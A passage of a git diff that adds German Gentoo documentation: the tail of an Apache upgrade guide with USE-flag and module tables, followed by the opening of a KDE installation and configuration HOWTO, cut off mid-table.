+Wenn Sie Änderungen an den alten <path>apache.conf</path> und
+<path>commonapache.conf</path> Standarddateien vorgenommen haben, müssen
+Sie diese Änderungen in die Datei <path>/etc/apache{|2}/httpd.conf</path>
+migrieren. Des Weiteren haben sich die Speicherorte für die Module und
+Virtual-Hosts geändert. Diese befinden sich nun in
+<path>/etc/apache2/modules.d</path> bzw. <path>/etc/apache2/vhosts.d</path>.
+</p>
+
+<p>
+Wenn Sie damit fertig sind Ihre Änderungen in die neuen Dateien zu übertragen,
+müssen Sie die alten Konfigurationsdateien löschen (oder Sie an einen sicheren
+Ort verschieben). Das neue <path>/etc/init.d/apache{|2}</path> überprüft ob
+diese Dateien existieren und lässt Sie den Apache nicht starten bis Sie sie
+entfernt haben und so zeigen, dass Sie den Apache mit den neuen Pfaden
+rekonfiguriert haben.
+</p>
+
+<note>
+Viele Module die ehemals standardmäßig aktiviert waren sind dies nun nicht
+mehr. Wenn es sich um built-in Module handelt, dann entkommentieren Sie einfach
+die entsprechende Zeile in der httpd.conf. Wenn es sich aber um externe Module
+handelt suchen Sie in der .conf Datei des Moduls nach einer <c>IfDefine</c>
+Anweisung und fügen den Namen der <path>/etc/conf.d/apache{|2}</path> hinzu
+um das Modul zu aktivieren.
+</note>
+
+<p>
+Nun sollten Sie den Apache neustarten.
+</p>
+
+<pre caption="Apache neustarten">
+# <i>/etc/init.d/apache stop</i>
+# <i>/etc/init.d/apache start</i>
+</pre>
+
+<p>
+Wenn Sie irgendwelche Schwierigkeiten haben sehen Sie im <uri
+link="/doc/de/apache-troubleshooting.xml">Apache Troubleshooting Guide</uri>
+nach und, sollte sich dort keine Lösung finden, schreiben Sie einen Bugreport
+auf dem <uri link="http://bugs.gentoo.org">Gentoo Bugzilla</uri>. Denken Sie
+daran anzugeben welche Module Sie benutzen und (falls Sie Apache 2 nutzen)
+welches MPM USE-Flag Sie zum Kompilieren verwendet haben (wenn zutreffend).
+Sie können auch <path>#gentoo-apache</path> auf dem Server
+<path>irc.freenode.net</path> besuchen, um Hilfe zu ihren Problemen zu erfragen.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-pre-2.2.6-r4">
+<title>Unterstütze USE-Flags in &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+Es gibt einige spezifische USE-Flags für Apache und seine Module. Apache
+unterstützt darüber hinaus weitere, allgemeinere USE-Flags wie z.B. <c>ssl</c>,
+aber die Auswirkung unterscheidet sich kaum von der die diese USE-Flags an
+anderer Stelle haben, deshalb wurden diese USE-Flags nicht mit in die folgende
+Liste aufgenommen. Um eine vollständige Liste aller unterstützten USE-Flags zu
+erhalten führen Sie <c>emerge --verbose --pretend apache</c> aus.
+</p>
+
+<table>
+<tr>
+  <th>USE-Flag</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti>apache2</ti>
+  <ti>
+    Dieses USE-Flag sollte immer gesetzt sein, wenn Sie die Apache-2.0 Reihe
+    verwenden, allerdings nicht wenn Sie die Apache-1.3 Versionen einsetzen.
+    Die Eclass benutzt dieses USE-Flag, um festzustellen welche Apache-Version
+    benutzt wird.
+  </ti>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>
+    Aktiviert einen Hook, der es externen Modulen ermöglicht, sich
+    einzuschalten und etwas zu tun, nachdem ein Child gecrasht ist. Es gibt
+    bereits zwei Module, <c>mod_whatkilledus</c> und <c>mod_backtrace</c>, die
+    Gebrauch von diesem Hook machen.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>
+    Installiere das Apache-Manual und Konfiguration.
+  </ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>
+    Installiert <c>mod_ldap</c> und <c>mod_auth_ldap</c>/<c>mod_authnz_ldap</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>
+    Installiert <c>mod_ssl</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-itk</ti>
+  <ti>Erstellt das <uri link="http://mpm-itk.sesse.net/">itk</uri> MPM</ti>
+</tr>
+<tr>
+  <ti>mpm-leader</ti>
+  <ti>
+    Erstellt das <uri
+    link="http://httpd.apache.org/docs/2.0/mod/leader.html">leader</uri> MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Erstellt das <uri link="http://www.telana.com/peruser.php">peruser</uri>
+    MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-prefork</ti>
+  <ti>
+    Erstellt das <uri
+    link="http://httpd.apache.org/docs/2.0/mod/prefork.html">prefork</uri> MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-threadpool</ti>
+  <ti>
+    Erstellt das <uri
+    link="http://httpd.apache.org/docs/2.0/mod/threadpool.html">threadpool</uri>
+    MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-worker</ti>
+  <ti>
+    Erstellt das <uri
+    link="http://httpd.apache.org/docs/2.0/mod/worker.html">worker</uri> MPM
+  </ti>
+</tr>
+<tr>
+  <ti>static-modules</ti>
+  <ti>
+    Die Basismodule werden statisch in das Apache-Binary verlinkt, so dass
+    LoadModule nicht benötigt wird, um diese Module zu laden.
+  </ti>
+</tr>
+</table>
+
+<note>
+Auch wenn es viele <c>mpm-*</c> USE-Flags gibt, schließen diese sich gegenseitig
+aus. Sie sollten nur ein einziges der <c>mpm-*</c> USE-Flags aktivieren. (Falls
+Sie keines aktivieren, wird entweder <c>mpm-prefork</c> oder <c>mpm-worker</c>
+benutzt, abhängig davon, ob das threads USE-Flag gesetzt ist.)
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-2.2.6-r4">
+<title>Unterstütze USE-Flags in 2.2.6-r4 und höher</title>
+<section>
+<body>
+
+<p>
+Mit der Einführung von <c>APACHE2_MODULES</c> war ein generelles Aufräumen der
+USE-Flags erforderlich. Die folgende Tabelle listet alle unterstützten USE-Flags
+für <c>apache-2.2.6-r4</c> und höher auf, ebenso das entsprechende Flag in
+älteren Versionen.
+</p>
+
+<table>
+<tr>
+  <th>USE-Flag</th>
+  <th>Altes USE-Flag</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>debug</ti>
+  <ti>
+    Aktiviert einen Hook, der es externen Modulen ermöglicht, sich
+    einzuschalten und etwas zu tun, nachdem ein Child gecrasht ist. Es gibt
+    bereits zwei Module, <c>mod_whatkilledus</c> und <c>mod_backtrace</c>, die
+    Gebrauch von diesem Hook machen.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>doc</ti>
+  <ti>
+    Installiere das Apache-Manual und Konfiguration.
+  </ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>ldap</ti>
+  <ti>
+    Installiert <c>mod_ldap</c> und <c>mod_authnz_ldap</c>
+  </ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>ssl</ti>
+  <ti>
+    Installiert <c>mod_ssl</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>static-modules</ti>
+  <ti>
+    Die Basismodule werden statisch in das Apache-Binary verlinkt, so dass
+    LoadModule nicht benötigt wird, um diese Module zu laden.
+  </ti>
+</tr>
+<tr>
+  <ti>suexec</ti>
+  <ti>no-suexec</ti>
+  <ti>Installiert <c>mod_suexec</c> und die <c>suexec</c> Hilfs-Binary</ti>
+</tr>
+<tr>
+  <ti>threads</ti>
+  <ti>threads</ti>
+  <ti>
+    Wählt die standardmäßige MPM aus, wenn keine in APACHE2_MPMS gesetzt ist
+  </ti>
+</tr>
+</table>
+
+<p>
+Die folgende Tabelle listet unterstützte <c>APACHE2_MPMS</c> seit
+<c>apache-2.2.6-r4</c> und deren entsprechendes, vorheriges, lokales USE-Flag
+auf.
+</p>
+
+<table>
+<tr>
+  <th>Flag</th>
+  <th>Altes USE-Flag</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti>event</ti>
+  <ti>mpm-event</ti>
+  <ti>Eine experimentelle Variante der standardmäßigen worker MPM</ti>
+</tr>
+<tr>
+  <ti>itk</ti>
+  <ti>mpm-itk</ti>
+  <ti>
+    Ermöglicht es, jeden virtuellen Host unter einer separaten uid und gid
+    auszuführen
+  </ti>
+</tr>
+<tr>
+  <ti>peruser</ti>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Peruser ist eine funktionierende Implementierung der perchild MPM, die es
+    erlaubt, jeden Apache-Kindprozess unter seinem eigenen Benutzer und seiner
+    eigenen Gruppe auszuführen, wobei jeder seinen eigenen Satz an virtuellen
+    Hosts handhabt
+  </ti>
+</tr>
+<tr>
+  <ti>prefork</ti>
+  <ti>mpm-prefork</ti>
+  <ti>Implementiert einen non-threaded, pre-forking Webserver</ti>
+</tr>
+<tr>
+  <ti>worker</ti>
+  <ti>mpm-worker</ti>
+  <ti>
+    Multi-Processing Module, welches einen hybriden, multi-threaded,
+    multi-prozess Webserver implementiert
+  </ti>
+</tr>
+</table>
+
+<p>
+Die folgende Tabelle listet unterstützte <c>APACHE2_MODULES</c> seit
+<c>apache-2.2.6-r4</c> auf.
+</p>
+
+<table>
+<tr>
+  <th>Flag</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti>actions</ti>
+  <ti>
+    CGI-Skripte basierend auf dem Media-Typ und der Request-Methode ausführen
+  </ti>
+</tr>
+<tr>
+  <ti>alias</ti>
+  <ti>
+    Bereitstellen von "Mapping" verschiedener Teile des Host-Dateisystems im
+    Dokumentbaum und für URL-Umleitung
+  </ti>
+</tr>
+<tr>
+  <ti>asis</ti>
+  <ti>Sendet Dateien, die ihre eigenen HTTP-Header enthalten</ti>
+</tr>
+<tr>
+  <ti>auth_basic</ti>
+  <ti>Grundlegende Authentifikation</ti>
+</tr>
+<tr>
+  <ti>auth_digest</ti>
+  <ti>
+    Benutzerauthentifikation unter Benutzung von MD5 Digest Authentifikation
+  </ti>
+</tr>
+<tr>
+  <ti>authn_alias</ti>
+  <ti>
+    Stellt die Fähigkeit bereit, erweiterte Authentifikationsprovider zu
+    erstellen, basierend auf eigentlichen Providern
+  </ti>
+</tr>
+<tr>
+  <ti>authn_anon</ti>
+  <ti>Erlaubt "anonymous" Benutzerzugriff zu authentifizierten Bereichen</ti>
+</tr>
+<tr>
+  <ti>authn_dbd</ti>
+  <ti>Benutzerauthentifizierung unter Benutzung einer SQL-Datenbank</ti>
+</tr>
+<tr>
+  <ti>authn_dbm</ti>
+  <ti>Benutzerauthentifikation unter Benutzung von DBM-Dateien</ti>
+</tr>
+<tr>
+  <ti>authn_default</ti>
+  <ti>Authentifikationsausweichlösungsmodul</ti>
+</tr>
+<tr>
+  <ti>authn_file</ti>
+  <ti>Benutzerauthentifikation unter Benutzung von Textdateien</ti>
+</tr>
+<tr>
+  <ti>authz_dbm</ti>
+  <ti>Gruppenautorisierung unter Benutzung von DBM-Dateien</ti>
+</tr>
+<tr>
+  <ti>authz_default</ti>
+  <ti>Autorisierungsausweichlösungsmodul</ti>
+</tr>
+<tr>
+  <ti>authz_groupfile</ti>
+  <ti>Gruppenautorisierung unter Benutzung von Textdateien</ti>
+</tr>
+<tr>
+  <ti>authz_host</ti>
+  <ti>Gruppenautorisierungen basierend auf Host (Name oder IP-Adresse)</ti>
+</tr>
+<tr>
+  <ti>authz_owner</ti>
+  <ti>Autorisierung basierend Dateieigentümerschaft</ti>
+</tr>
+<tr>
+  <ti>authz_user</ti>
+  <ti>Benutzerautorisierung</ti>
+</tr>
+<tr>
+  <ti>autoindex</ti>
+  <ti>
+    Generiert Verzeichnisindizes automatisch, ähnlich zum Unix-Befehl <c>ls</c>
+  </ti>
+</tr>
+<tr>
+  <ti>cache</ti>
+  <ti>Inhaltscache "keyed" zu URIs</ti>
+</tr>
+<tr>
+  <ti>cern_meta</ti>
+  <ti>CERN httpd metafile semantics</ti>
+</tr>
+<tr>
+  <ti>charset_lite</ti>
+  <ti>Spezifiziere Zeichensatzübersetzung oder -kodierung</ti>
+</tr>
+<tr>
+  <ti>dav</ti>
+  <ti>Verteilte Authoring und Versioning (WebDAV) Funktionalität</ti>
+</tr>
+<tr>
+  <ti>dav_fs</ti>
+  <ti>Dateisystemprovider für mod_dav</ti>
+</tr>
+<tr>
+  <ti>dav_lock</ti>
+  <ti>Generisches Sperrmodul für mod_dav</ti>
+</tr>
+<tr>
+  <ti>dbd</ti>
+  <ti>Verwaltet SQL-Datenbankverbindungen</ti>
+</tr>
+<tr>
+  <ti>deflate</ti>
+  <ti>Komprimiere Inhalt bevor er an Clients geliefert wird</ti>
+</tr>
+<tr>
+  <ti>dir</ti>
+  <ti>
+    Provides für "trailing slash" Umleitungen und Verzeichnisindexdateien
+  </ti>
+</tr>
+<tr>
+  <ti>disk_cache</ti>
+  <ti>Inhaltscachespeichermanager "keyed" zu URIs</ti>
+</tr>
+<tr>
+  <ti>dumpio</ti>
+  <ti>Gibt kompletten I/O zum Error-Log falls gewünscht</ti>
+</tr>
+<tr>
+  <ti>env</ti>
+  <ti>
+    Modifiziert die Umgebung, welche an CGI-Skripte und SSI-Seiten übergeben
+    wird
+  </ti>
+</tr>
+<tr>
+  <ti>expires</ti>
+  <ti>
+    Generierung von Expires und Cache-Controll HTTP Headers, nach
+    benutzerspezifizierten Kriterien
+  </ti>
+</tr>
+<tr>
+  <ti>ext_filter</ti>
+  <ti>
+    Leite den Antwortkörper durch ein externes Programm vor Auslieferung an
+    einen Client
+  </ti>
+</tr>
+<tr>
+  <ti>file_cache</ti>
+  <ti>Cachet eine statische Liste von Dateien im Speicher</ti>
+</tr>
+<tr>
+  <ti>filter</ti>
+  <ti>Kontext-sensitive kluges Filterkonfigurationsmodul</ti>
+</tr>
+<tr>
+  <ti>headers</ti>
+  <ti>Anpassung von HTTP Request und Response Headern</ti>
+</tr>
+<tr>
+  <ti>ident</ti>
+  <ti>RFC 1413 ident lookups</ti>
+</tr>
+<tr>
+  <ti>imagemap</ti>
+  <ti>Server-side imagemap Verarbeitung</ti>
+</tr>
+<tr>
+  <ti>include</ti>
+  <ti>Server-parsed HTML-Dokumente (Server Side Includes)</ti>
+</tr>
+<tr>
+  <ti>info</ti>
+  <ti>Stellt eine umfassende Übersicht der Serverkonfiguration bereit</ti>
+</tr>
+<tr>
+  <ti>log_config</ti>
+  <ti>Loggen der Anfragen an den Server</ti>
+</tr>
+<tr>
+  <ti>log_forensic</ti>
+  <ti>Forensisches Loggen der Anfragen an den Server</ti>
+</tr>
+<tr>
+  <ti>logio</ti>
+  <ti>Loggen von Eingabe- und Ausgabebytes pro Anfrage</ti>
+</tr>
+<tr>
+  <ti>mem_cache</ti>
+  <ti>Inhaltscache "keyed" zu URIs</ti>
+</tr>
+<tr>
+  <ti>mime</ti>
+  <ti>
+    Verbindet die Endung des angefragten Dateinamens mit dem Verhalten
+    (Handler und Filter) und dem Inhalt (MIME-Typ, Sprache, Zeichensatz,
+    Kodierung) der Datei
+  </ti>
+</tr>
+<tr>
+  <ti>mime_magic</ti>
+  <ti>
+    Stellt den MIME-Typ einer Datei durch Anschauen der ersten Bytes des Inhalts
+    fest
+  </ti>
+</tr>
+<tr>
+  <ti>negotiation</ti>
+  <ti>Provides für content negotiation</ti>
+</tr>
+<tr>
+  <ti>proxy</ti>
+  <ti>HTTP/1.1 Proxy/Gateway-Server</ti>
+</tr>
+<tr>
+  <ti>proxy_ajp</ti>
+  <ti>AJP Unterstützungsmodul für mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_balancer</ti>
+  <ti>mod_proxy Erweiterung für Ausgleichen der Load</ti>
+</tr>
+<tr>
+  <ti>proxy_connect</ti>
+  <ti>mod_proxy Erweiterung für CONNECT Anfragenhandhabung</ti>
+</tr>
+<tr>
+  <ti>proxy_ftp</ti>
+  <ti>FTP Unterstützungsmodul für mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_http</ti>
+  <ti>HTTP Unterstützungsmodul für mod_proxy</ti>
+</tr>
+<tr>
+  <ti>rewrite</ti>
+  <ti>
+    Stellt eine regelbasierte Umleitungs-Engine bereit, um angeforderte URLs
+    on-the-fly umzuleiten.
+  </ti>
+</tr>
+<tr>
+  <ti>setenvif</ti>
+  <ti>
+    Ermöglicht das Setzen von Umgebungsvariablen basierend auf Eigenschaften
+    der Anfrage
+  </ti>
+</tr>
+<tr>
+  <ti>speling</ti>
+  <ti>
+    Versucht irrtümliche URLs, die Benutzer eingegeben haben können, zu
+    korrigieren, indem Großschreibung ignoriert wird und bis zu eine
+    Fehlbuchstabierung erlaubt wird
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>Stellt Informationen zu Serveraktivitäten und -performanz bereit</ti>
+</tr>
+<tr>
+  <ti>unique_id</ti>
+  <ti>
+    Stellt eine Umgebungsvariable mit einem eindeutigen Bezeichner für jede
+    Anfrage bereit
+  </ti>
+</tr>
+<tr>
+  <ti>userdir</ti>
+  <ti>Benutzerspezifische Verzeichnisse</ti>
+</tr>
+<tr>
+  <ti>usertrack</ti>
+  <ti>Clickstream-Loggen von Benutzeraktivität auf einer Seite</ti>
+</tr>
+<tr>
+  <ti>version</ti>
+  <ti>Versionsabhängige Konfiguration</ti>
+</tr>
+<tr>
+  <ti>vhost_alias</ti>
+  <ti>Provides für dynamisch konfiguriertes Massen-Virtual-Hosting</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/de/desktop/kde/kde-config.xml b/xml/htdocs/proj/de/desktop/kde/kde-config.xml
new file mode 100644
index 00000000..3293015c
--- /dev/null
+++ b/xml/htdocs/proj/de/desktop/kde/kde-config.xml
@@ -0,0 +1,884 @@
+<?xml version='1.0' encoding='UTF-8'?>
+
+<!-- $Header: /var/cvsroot/gentoo-de/htdocs/doc/de/kde-config.xml,v 1.13
+2006/06/18 21:43:22 joggl Exp $ -->
+
+<!-- English CVS Version: 1.33 -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide lang="de">
+
+<title>Das KDE Konfigurations HOWTO</title>
+
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="Hannes@Schwendau.net">Hannes Jochriem</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="keytoaster@gentoo.org">Tobias Heinlein</mail>
+</author>
+
+<abstract>
+Eine der meistverbreitetsten grafischen Benutzeroberflächen ist KDE. Diese
+Anleitung versucht auf alle Aspekte von KDE einzugehen, zum Beispiel
+Installation, Konfiguration, Benutzung.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.22</version>
+<date>2007-06-23</date>
+
+<chapter>
+<title>Was ist K Desktop Environment?</title>
+<section>
+<title>Das Projekt</title>
+<body>
+
+<p>
+Das <uri link="http://www.kde.org">KDE Projekt</uri> ist ein freies
+Softwareprojekt, das sich der Entwicklung von KDE widmet, einer grafischen
+Opensource Desktopumgebung für alle Linux- und Unixrechner.
+Die Entwicklung wird freiwillig von mehreren hundert Software-Entwicklern auf
+der ganzen Welt verübt. Sehen Sie dazu auch <uri
+link="http://www.kde.org/whatiskde/project.php">Was ist das KDE Projekt?</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Die Software</title>
+<body>
+
+<p>
+Das K Desktop Environment ist eine sehr einfach zu verwendende
+Benutzeroberfläche, die um ein gut durchdachtes Netzwerk von Programmen
+aufgebaut wurde. Dies ermöglicht für andere Programme Aktionen wie Drag n
+Drop usw. Abgesehen von den erforderlichen Komponenten stellt KDE
+auch Programme für 101 Anwendungen bereit: Dateiverwaltung,
+Internetbrowser, Büroprogramme, Emailverwaltung, ... Alles wird von KDE
+abgedeckt!
+</p>
+
+<p>
+Die KDE Umgebung ist in mehr als 70 Sprachen verfügbar und hat daher einen
+riesigen Benutzergrundstock. Wen es interessiert: Hier sind einige <uri
+link="http://www.kde.org/screenshots/">Screenshots</uri>. Für mehr
+Informationen, lesen Sie einfach den <uri
+link="http://www.kde.org/whatiskde/">Was
+ist KDE?</uri> Artikel auf <uri link="http://www.kde.org">KDE.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Die Community</title>
+<body>
+
+<p>
+Es gibt auch sehr viele Community-Seiten rund um KDE. Auf <uri
+link="http://www.kdenews.org">KDEnews.org</uri> finden Sie die aktuellsten News
+über KDE. <uri link="http://www.kdedevelopers.org">KDEdevelopers.org</uri>
+konzentriert sich speziell auf die KDE-Entwicklung, während das <uri
+link="http://www.kde-forum.org">KDE-Forum</uri> für große Massen angepasst ist.
+Mehr Links finden Sie auf der <uri link="http://www.kde.org/family/">KDE Family
+- Seite</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Installation von KDE</title>
+<section>
+<title>Was braucht man dazu?</title>
+<body>
+
+<p>
+Wenn Sie an der Installation von KDE (bzw. an KDE-Support) interessiert sind,
+sollten Sie sicherstellen, dass Ihre USE-Variable das Flags <c>kde</c> und
+entweder das <c>qt3</c> oder <c>qt4</c> (oder beide) enthält. Qt ist die von KDE
+verwendete graphische Widget-Bibliothek, und <c>qt3</c> ist für Version 3.x,
+während <c>qt4</c> Unterstützung für die neuere Qt 4.x Bibliothek einbaut.
+Keines dieser beiden USE-Flags wird unbedingt benötigt um KDE zu installieren.
+Jedoch gibt es einige Pakete, die Ihnen die Wahl überlassen, ob es entweder die
+<c>qt3</c>- oder <c>qt4</c>-Bibliotheken benutzen soll.
+</p>
+
+<p>
+Wenn Sie Unterstützung zum automatischen Einbinden von Geräten wollen, sollten
+Sie <c>hal</c> zur USE-Variable hinzufügen. Informationen dazu finden Sie weiter
+unten im Punkt <uri link="#kde_device_mounting">Geräte von KDE mounten
+lassen</uri>.
+</p>
+
+<p>
+Wenn Sie für Ihre Multimedia-Anwendungen kein <uri
+link="http://www.arts-project.org/">aRts</uri> verwenden möchten, deaktivieren
+Sie bitte die <c>arts</c> USE-Flag. Andernfalls ist sie standardmäßig aktiviert.
+</p>
+
+<note>
+Release 2006.1 von Gentoo hat eine Zahl neuer Profile eingeführt, u.a. das
+<c>desktop</c> Unterprofil. Möglicherweise wollen Sie zu diesem Unterprofil
+wechseln, sofern es für Ihre Architektur existiert, da es eine Reihe von
+Änderungen an den Standard-USE-Flags enthält. Bitte lesen Sie die <uri
+link="/doc/de/gentoo-upgrading.xml">Anleitung zum Upgraden von Gentoo</uri>, um
+zu erfahren, wie sie zwischen den Profilen hin- und herwechseln können.
+</note>
+
+</body>
+</section>
+<section>
+<title>Installation von KDE aus einzelnen Paketen</title>
+<body>
+
+<note>
+Wir empfehlen Ihnen die einzelnen Pakete ("split ebuilds") zu benutzen (anstatt
+der monolithischen Pakete; obwohl beide Methoden gezeigt werden), um KDE wie
+folgt gezeigt zu installieren.
+</note>
+
+<p>
+Wenn Sie mehr Kontrolle darüber haben möchten, was KDE installiert, haben Sie
+die Möglichkeit, nur die Anwendungen zu installieren, die Sie brauchen. Für
+nähere Informationen über die Ebuilds der KDE-Programme schauen Sie bitte im
+<uri link="/doc/de/kde-split-ebuilds.xml">KDE Split Ebuilds HOWTO</uri> nach.
+</p>
+
+<p>
+Bei den Split Ebuilds ist es ein bisschen schwieriger zu wissen, was Sie
+benötigen und was nicht. Gentoo bietet jedoch ein paar Meta-Pakete an, die diese
+Wahl erleichtern sollen und für Sie gewisse KDE-Pakete installieren:
+</p>
+
+<ul>
+  <li>
+    Wenn Sie eine komplette KDE-Installation haben wollen, installieren Sie
+    <c>kde-meta</c>.
+    Dieses Paket bringt alle KDE-Anwendungen als Abhängigkeiten mit sich.
+  </li>
+  <li>
+    Für eine Standardinstallation installieren Sie <c>kdebase-startkde</c>. Sie
+    können dann jederzeit später andere KDE-Anwendungen nachinstallieren.
+  </li>
+  <li>
+    Wenn Sie etwas zwischen <c>kde-meta</c> und <c>kdebase-startkde</c> wollen,
+    installieren Sie <c>kdebase-meta</c>. Dies wird einige zusätzliche
+    Anwendungen, z.B. <c>konsole</c> und <c>kdm</c>, installieren.
+  </li>
+</ul>
+
+<p>
+Diese drei Möglichkeiten sind die beiden Grenzfälle; wahrscheinlich sind Sie an
+einer Mischung aus beiden interessiert :) Um Ihnen die Entscheidung leichter zu
+machen, ist in der folgenden Tabelle ein kurzer, unkompletter aber dennoch
+hilfreicher Überblick über die verfügbaren KDE-Pakete.
+</p>
+
+<p>
+Diese Pakete sind <e>nicht</e> Teil der <c>kdebase-startkde</c> Installation.
+</p>
+
+<table>
+<tr>
+  <th>Name des Ebuilds</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti><c>akregator</c></ti>
+  <ti>
+    Anwendung zum Verwalten und Browsen von RSS Feeds.
+  </ti>
+</tr>
+<tr>
+  <ti><c>juk</c></ti>
+  <ti>
+    Ein Playlisten-orientierter Medienplayer der Apple's iTunes ähnelt.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kate</c></ti>
+  <ti>
+    Der <uri link="http://kate.kde.org/">KDE Advanced Text Editor</uri>, ein
+    Multidokument-Editor mit Syntax-Highlighting, Code-Folding und vielem mehr.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kmail</c></ti>
+  <ti>
+    Mit <uri link="http://kmail.kde.org/">KMail</uri> können Sie Ihre Emails
+    sehr effizient organisieren.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knetattach</c></ti>
+  <ti>
+    Mit KNetAttach (auch unter <e>"Netzwerkordner hinzufügen"</e> bekannt)
+    können Sie sehr einfach Netzwerkordner zu Ihrem Desktop hinzufügen.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knode</c></ti>
+  <ti>
+    KNode ist der mächtige KDE-Newsreader.
+  </ti>
+</tr>
+<tr>
+  <ti><c>konsole</c></ti>
+  <ti>
+    Die <uri link="http://konsole.kde.org/">Konsole</uri> ist der
+    KDE-Terminal-Emulator.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kontact</c></ti>
+  <ti>
+    <uri link="http://kontact.kde.org/">Kontact</uri> ist der persönliche
+    Informationsmanager von KDE. Er erleichtert Ihnen das Kommunizieren mit
+    anderen Personen und organisiert Ihre Arbeit schneller.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kopete</c></ti>
+  <ti>
+    <uri link="http://kopete.kde.org/index.php">Kopete</uri> ist KDE's
+    Instant-Messenger der alle bekannten IM-Protokolle unterstützt.
+  </ti>
+</tr>
+<tr>
+  <ti><c>korganizer</c></ti>
+  <ti>
+    <uri link="http://korganizer.kde.org/">Korganizer</uri> ist der Kalender und
+    Terminplaner von KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kpdf</c></ti>
+  <ti>
+    Mit <uri link="http://kpdf.kde.org/">KPDF</uri> kann man PDFs anschauen und
+    damit arbeiten. Durch einzigartige Features wird Ihre Lust am Arbeiten mit
+    diesem Programm irrsinnig gesteigert werden.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kscd</c></ti>
+  <ti>
+    Ein grafischer CD-Player für KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>ksnapshot</c></ti>
+  <ti>
+    Mit ksnapshot können Sie Screenshots von Ihrem Desktop machen.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kuickshow</c></ti>
+  <ti>
+    Mit kuickshow kann man durch die verschiedensten Bildformate browsen und
+    diese Anzeigen.
+  </ti>
+</tr>
+</table>
+
+<p>
+Das ist nur die Spitze des Eisberges. Wenn Sie mehr über alle verfügbaren
+KDE-Pakete erfahren wollen, sehen Sie am besten in der <uri
+link="http://packages.gentoo.org/category/kde-base?full_cat">kde-base
+Kategorie</uri> nach. Die Funktionen der Pakete sollte in der Beschreibung
+einsehbar sein.
+</p>
+
+<p>
+Um zu sehen, was emerge installieren will, sollten Sie <c>emerge -p</c> in
+Kombination mit <c>less</c> verwenden, ansonsten kann es sein, dass Sie nicht
+alle Pakete sehen können.
+</p>
+
+<pre caption="Vorschau der KDE-Installation">
+<comment>(Durch Ihre Wahl an Paketen ersetzen)</comment>
+# <i>emerge -p kdebase-startkde | less</i>
+</pre>
+
+<p>
+Wenn Sie mit dem Ergebnis zufrieden sind, lasse Sie einfach <c>-p</c> weg. Das
+Bilden der Pakete wird ziemlich lange dauern, da KDE eine großes Umfeld hat.
+Seien Sie nicht überrascht wenn Ihr System nicht sofort fertig ist.
+</p>
+
+</body>
+</section>
+<section>
+<title>Installation von KDE "aus einem Guss"</title>
+<body>
+
+<p>
+Obwohl die Split-Ebuilds die empfohlene Methode ist, um KDE zu installieren,
+haben Sie die Möglichkeit, die monolithischen Ebuilds zu benutzen.
+</p>
+
+<p>
+Das KDE-Projekt veröffentlicht neue Versionen seiner Desktop-Umgebung in Form
+von ca. 16 großen Paketen. Jedes Paket enthält eine Menge von Programmen
+(deswegen "aus einem Guss" bzw. "monolithisch"). Es ist also wichtig, dass Sie
+sich entscheiden, welche dieser Pakete Sie installieren wollen.
+</p>
+
+<p>
+Wenn Sie sehen wollen wie es aussieht, wenn man alle Pakete installiert, schauen
+Sie einfach selbst nach:
+</p>
+
+<pre caption="Auflisten aller Pakete, die KDE installiert">
+# <i>emerge --pretend kde | less</i>
+</pre>
+
+<p>
+Wenn Sie nicht alle Pakete installieren wollen, können Sie auch einzelne
+emergen. Das <c>kdebase</c> Paket werden Sie aber installieren müssen, da es die
+grundlegenden KDE-Pakete und benötigten Abhängigkeiten enthält. Die folgende
+Tabelle zeigt Ihnen ein paar der restlichen verfügbaren Pakete, die Sie
+ebenfalls installieren können.
+</p>
+
+<table>
+<tr>
